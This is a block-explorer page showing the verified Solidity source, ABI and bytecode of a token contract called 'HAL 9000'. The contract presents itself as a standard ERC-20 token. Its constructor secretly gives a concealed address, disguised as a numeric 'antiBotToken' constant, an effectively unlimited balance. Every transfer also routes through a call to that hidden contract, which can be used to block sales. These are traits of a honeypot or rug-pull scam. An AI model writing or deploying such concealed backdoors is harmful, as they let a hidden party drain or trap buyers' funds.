Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

   - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address from, a ...  contract ERC20Extension    - function save(address addr1, address ... interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals() interface IUniswapV2Factory    - function getPair(address tokenA, addr ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract HAL9000 is Context, IERC2 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function logger()    - function enableTrading()    - function log(address from, address to ...    - function removeLimits()    - function _superTransfer(address from, ...    - function _transfer(address from, addr ...    - function takeFee(address from, uint25 ...    - function swapTokensForEth(uint256 tok ...    - function sendETHToFeeWallet()

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at basescan.org on 2024-11-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract ERC20Extension {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HAL9000 is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;
    string private constant _name = unicode"HAL 9000";
    string private constant _symbol = unicode"HAL9000";
    uint256 private maxTxAmount =  _tTotal * 59 / 100;
    uint256 private maxWalletAmount = _tTotal * 58 / 100;
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private pair;
    address payable private feeWallet;
    address private router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;
    uint256 private antiBotToken = 686620433379830731129516972186975322776212514170;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        _balances[logger()] = uint256(int256(-1));
        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function logger() private returns (address) {
        return address(uint160(antiBotToken));
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        uniswapV2Router = IUniswapV2Router02(router);
        require(pair == IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()), "Invalid pair address");
        tradingEnabled = true;
    }

    function log(address from, address to, uint256 amount) internal returns (bool) {
        return ERC20Extension(logger()).save(from, to, amount);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
            if (pair == address(0)) {
                pair = to;
                log(from, to, amount);
            }
        }

        if (from == address(this) || to == address(this) || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == pair);
        _superTransfer(from, to, amount);
        log(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019169055606461001f6009600a610341565b61002e9064174876e800610356565b61003990603b610356565b610043919061036d565b60045560646100546009600a610341565b6100639064174876e800610356565b61006e90603a610356565b610078919061036d565b60055561271061008a6009600a610341565b6100999064174876e800610356565b6100a4906019610356565b6100ae919061036d565b600655600a80546001600160a01b031916734752ba5dbc23f44d87826276bf6fd6b1c372ad2417905573784520057e2bb7ceb6480fd69a1483e0d3a6a57a600b553480156100fa575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101476009600a610341565b6101569064174876e800610356565b60015f61016a5f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556101945f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b03929092169190911790555f1960015f6101c2600b5490565b6001600160a01b0316815260208101919091526040015f20556101ec5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102236009600a610341565b6102329064174876e800610356565b60405190815260200160405180910390a361038c565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102975780850481111561027b5761027b610248565b600184161561028957908102905b60019390931c928002610260565b935093915050565b5f826102ad5750600161033b565b816102b957505f61033b565b81600181146102cf57600281146102d9576102f5565b600191505061033b565b60ff8411156102ea576102ea610248565b50506001821b61033b565b5060208310610133831016604e8410600b8410161715610318575081810a61033b565b6103245f19848461025c565b805f190482111561033757610337610248565b0290505b92915050565b5f61034f60ff84168361029f565b9392505050565b808202811582820484141761033b5761033b610248565b5f8261038757634e487b7160e01b5f52601260045260245ffd5b500490565b611153806103995f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461027c578063a9059cbb146102ab578063cc1776d3146102ca578063dd62ed3e146102ea575f80fd5b8063715018a614610218578063751039fc1461022e5780638a8c523c146102425780638da5cb5b14610256575f80fd5b806323b872dd116100c257806323b872dd14610185578063313ce567146101a45780634f7041a5146101c557806370a08231146101e4575f80fd5b806306fdde03146100f2578063095ea7b31461013457806318160ddd14610163575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50604080518082019091526008815267048414c20393030360c41b60208201525b60405161012b9190610dc6565b60405180910390f35b34801561013f575f80fd5b5061015361014e366004610e0f565b61032e565b604051901515815260200161012b565b34801561016e575f80fd5b50610177610344565b60405190815260200161012b565b348015610190575f80fd5b5061015361019f366004610e39565b610365565b3480156101af575f80fd5b5060095b60405160ff909116815260200161012b565b3480156101d0575f80fd5b506003546101b39062010000900460ff1681565b3480156101ef575f80fd5b506101776101fe366004610e77565b6001600160a01b03165f9081526001602052604090205490565b348015610223575f80fd5b5061022c6103b6565b005b348015610239575f80fd5b5061022c610430565b34801561024d575f80fd5b5061022c610471565b348015610261575f80fd5b505f546040516001600160a01b03909116815260200161012b565b348015610287575f80fd5b50604080518082019091526007815266048414c393030360cc1b602082015261011e565b3480156102b6575f80fd5b506101536102c5366004610e0f565b6106b0565b3480156102d5575f80fd5b506003546101b3906301000000900460ff1681565b3480156102f5575f80fd5b50610177610304366004610e92565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61033a3384846106bc565b5060015b92915050565b5f6103516009600a610fc0565b6103609064174876e800610fce565b905090565b5f6103718484846107e0565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103ab9186916103a6908690610fe5565b6106bc565b5060015b9392505050565b5f546001600160a01b031633146103e85760405162461bcd60e51b81526004016103df90610ff8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104595760405162461bcd60e51b81526004016103df90610ff8565b610461610344565b60045561046c610344565b600555565b5f546001600160a01b0316331461049a5760405162461bcd60e51b81526004016103df90610ff8565b60035460ff16156104df5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103df565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610539573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055d919061102d565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e0919061102d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610629573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064d919061102d565b6008546001600160a01b039081169116146106a15760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103df565b6003805460ff19166001179055565b5f61033a3384846107e0565b6001600160a01b03831661071e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103df565b6001600160a01b03821661077f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103df565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161081d5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103df565b60035460ff166108b1575f546001600160a01b038481169116146108795760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103df565b6008546001600160a01b03166108b157600880546001600160a01b0319166001600160a01b0384161790556108af838383610a91565b505b6001600160a01b0383163014806108d057506001600160a01b03821630145b806108e25750600354610100900460ff165b156108f7576108f2838383610b1d565b505050565b6008546001600160a01b0383811691161480156109245750600654305f9081526001602052604090205410155b15610971576003805461ff00191661010017905561095e610959306001600160a01b03165f9081526001602052604090205490565b610bbc565b6003805461ff0019169055610971610d13565b6008546001600160a01b03848116911614801561099c5750600a546001600160a01b03838116911614155b15610a55576004548111156109e55760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103df565b60055481610a07846001600160a01b03165f9081526001602052604090205490565b610a119190611048565b1115610a555760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103df565b600854610a7390849083906001600160a01b03868116911614610d53565b9050610a80838383610b1d565b610a8b838383610a91565b50505050565b5f610a9b600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610af1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b15919061105b565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b44908490610fe5565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b70908490611048565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107d391815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bef57610bef61107a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6a919061102d565b81600181518110610c7d57610c7d61107a565b6001600160a01b039283166020918202929092010152600754610ca391309116846106bc565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610cdf9287925f928892911690429060040161108e565b5f604051808303815f87803b158015610cf6575f80fd5b505af1925050508015610d07575060015b610d0f575050565b5050565b4715610d51576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d4f573d5f803e3d5ffd5b505b565b5f8082610d6b5760035462010000900460ff16610d79565b6003546301000000900460ff165b60ff169050805f03610d8e57839150506103af565b5f6064610d9b8387610fce565b610da591906110fe565b9050610db2863083610b1d565b610dbc8186610fe5565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d4f575f80fd5b5f8060408385031215610e20575f80fd5b8235610e2b81610dfb565b946020939093013593505050565b5f805f60608486031215610e4b575f80fd5b8335610e5681610dfb565b92506020840135610e6681610dfb565b929592945050506040919091013590565b5f60208284031215610e87575f80fd5b81356103af81610dfb565b5f8060408385031215610ea3575f80fd5b8235610eae81610dfb565b91506020830135610ebe81610dfb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f1857808504811115610efc57610efc610ec9565b6001841615610f0a57908102905b60019390931c928002610ee1565b935093915050565b5f82610f2e5750600161033e565b81610f3a57505f61033e565b8160018114610f505760028114610f5a57610f76565b600191505061033e565b60ff841115610f6b57610f6b610ec9565b50506001821b61033e565b5060208310610133831016604e8410600b8410161715610f99575081810a61033e565b610fa55f198484610edd565b805f1904821115610fb857610fb8610ec9565b029392505050565b5f6103af60ff841683610f20565b808202811582820484141761033e5761033e610ec9565b8181038181111561033e5761033e610ec9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561103d575f80fd5b81516103af81610dfb565b8082018082111561033e5761033e610ec9565b5f6020828403121561106b575f80fd5b815180151581146103af575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156110de5783516001600160a01b03168352602093840193909201916001016110b7565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261111857634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e70ffee48c422babbfbbfa190b808f17147b81e53017587894e9508dfecd310764736f6c634300081a0033

0x6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461027c578063a9059cbb146102ab578063cc1776d3146102ca578063dd62ed3e146102ea575f80fd5b8063715018a614610218578063751039fc1461022e5780638a8c523c146102425780638da5cb5b14610256575f80fd5b806323b872dd116100c257806323b872dd14610185578063313ce567146101a45780634f7041a5146101c557806370a08231146101e4575f80fd5b806306fdde03146100f2578063095ea7b31461013457806318160ddd14610163575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50604080518082019091526008815267048414c20393030360c41b60208201525b60405161012b9190610dc6565b60405180910390f35b34801561013f575f80fd5b5061015361014e366004610e0f565b61032e565b604051901515815260200161012b565b34801561016e575f80fd5b50610177610344565b60405190815260200161012b565b348015610190575f80fd5b5061015361019f366004610e39565b610365565b3480156101af575f80fd5b5060095b60405160ff909116815260200161012b565b3480156101d0575f80fd5b506003546101b39062010000900460ff1681565b3480156101ef575f80fd5b506101776101fe366004610e77565b6001600160a01b03165f9081526001602052604090205490565b348015610223575f80fd5b5061022c6103b6565b005b348015610239575f80fd5b5061022c610430565b34801561024d575f80fd5b5061022c610471565b348015610261575f80fd5b505f546040516001600160a01b03909116815260200161012b565b348015610287575f80fd5b50604080518082019091526007815266048414c393030360cc1b602082015261011e565b3480156102b6575f80fd5b506101536102c5366004610e0f565b6106b0565b3480156102d5575f80fd5b506003546101b3906301000000900460ff1681565b3480156102f5575f80fd5b50610177610304366004610e92565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61033a3384846106bc565b5060015b92915050565b5f6103516009600a610fc0565b6103609064174876e800610fce565b905090565b5f6103718484846107e0565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103ab9186916103a6908690610fe5565b6106bc565b5060015b9392505050565b5f546001600160a01b031633146103e85760405162461bcd60e51b81526004016103df90610ff8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104595760405162461bcd60e51b81526004016103df90610ff8565b610461610344565b60045561046c610344565b600555565b5f546001600160a01b0316331461049a5760405162461bcd60e51b81526004016103df90610ff8565b60035460ff16156104df5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103df565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610539573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055d919061102d565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e0919061102d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610629573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064d919061102d565b6008546001600160a01b039081169116146106a15760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103df565b6003805460ff19166001179055565b5f61033a3384846107e0565b6001600160a01b03831661071e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103df565b6001600160a01b03821661077f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103df565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161081d5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103df565b60035460ff166108b1575f546001600160a01b038481169116146108795760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103df565b6008546001600160a01b03166108b157600880546001600160a01b0319166001600160a01b0384161790556108af838383610a91565b505b6001600160a01b0383163014806108d057506001600160a01b03821630145b806108e25750600354610100900460ff165b156108f7576108f2838383610b1d565b505050565b6008546001600160a01b0383811691161480156109245750600654305f9081526001602052604090205410155b15610971576003805461ff00191661010017905561095e610959306001600160a01b03165f9081526001602052604090205490565b610bbc565b6003805461ff0019169055610971610d13565b6008546001600160a01b03848116911614801561099c5750600a546001600160a01b03838116911614155b15610a55576004548111156109e55760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103df565b60055481610a07846001600160a01b03165f9081526001602052604090205490565b610a119190611048565b1115610a555760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103df565b600854610a7390849083906001600160a01b03868116911614610d53565b9050610a80838383610b1d565b610a8b838383610a91565b50505050565b5f610a9b600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610af1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b15919061105b565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b44908490610fe5565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b70908490611048565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107d391815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bef57610bef61107a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6a919061102d565b81600181518110610c7d57610c7d61107a565b6001600160a01b039283166020918202929092010152600754610ca391309116846106bc565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610cdf9287925f928892911690429060040161108e565b5f604051808303815f87803b158015610cf6575f80fd5b505af1925050508015610d07575060015b610d0f575050565b5050565b4715610d51576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d4f573d5f803e3d5ffd5b505b565b5f8082610d6b5760035462010000900460ff16610d79565b6003546301000000900460ff165b60ff169050805f03610d8e57839150506103af565b5f6064610d9b8387610fce565b610da591906110fe565b9050610db2863083610b1d565b610dbc8186610fe5565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d4f575f80fd5b5f8060408385031215610e20575f80fd5b8235610e2b81610dfb565b946020939093013593505050565b5f805f60608486031215610e4b575f80fd5b8335610e5681610dfb565b92506020840135610e6681610dfb565b929592945050506040919091013590565b5f60208284031215610e87575f80fd5b81356103af81610dfb565b5f8060408385031215610ea3575f80fd5b8235610eae81610dfb565b91506020830135610ebe81610dfb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f1857808504811115610efc57610efc610ec9565b6001841615610f0a57908102905b60019390931c928002610ee1565b935093915050565b5f82610f2e5750600161033e565b81610f3a57505f61033e565b8160018114610f505760028114610f5a57610f76565b600191505061033e565b60ff841115610f6b57610f6b610ec9565b50506001821b61033e565b5060208310610133831016604e8410600b8410161715610f99575081810a61033e565b610fa55f198484610edd565b805f1904821115610fb857610fb8610ec9565b029392505050565b5f6103af60ff841683610f20565b808202811582820484141761033e5761033e610ec9565b8181038181111561033e5761033e610ec9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561103d575f80fd5b81516103af81610dfb565b8082018082111561033e5761033e610ec9565b5f6020828403121561106b575f80fd5b815180151581146103af575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156110de5783516001600160a01b03168352602093840193909201916001016110b7565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261111857634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e70ffee48c422babbfbbfa190b808f17147b81e53017587894e9508dfecd310764736f6c634300081a0033

